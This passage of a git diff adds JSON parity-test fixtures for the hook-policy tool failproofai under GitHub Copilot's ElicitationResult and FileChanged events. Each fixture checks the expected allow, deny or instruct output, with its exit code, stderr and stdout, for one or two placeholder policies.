"sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ff87ccbe --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5c7c6c8c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ebe2d015 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f6a7b3cd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2f312caf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..79ef974c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..21b20d88 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a6942e7d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1f94d8b9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3b671aae --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..350080fd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3cea1a1c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..587dc29b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9bd909fb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8a25292d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0cad2ab3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a5e9b4ec --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f9802fa6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..246eb592 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": 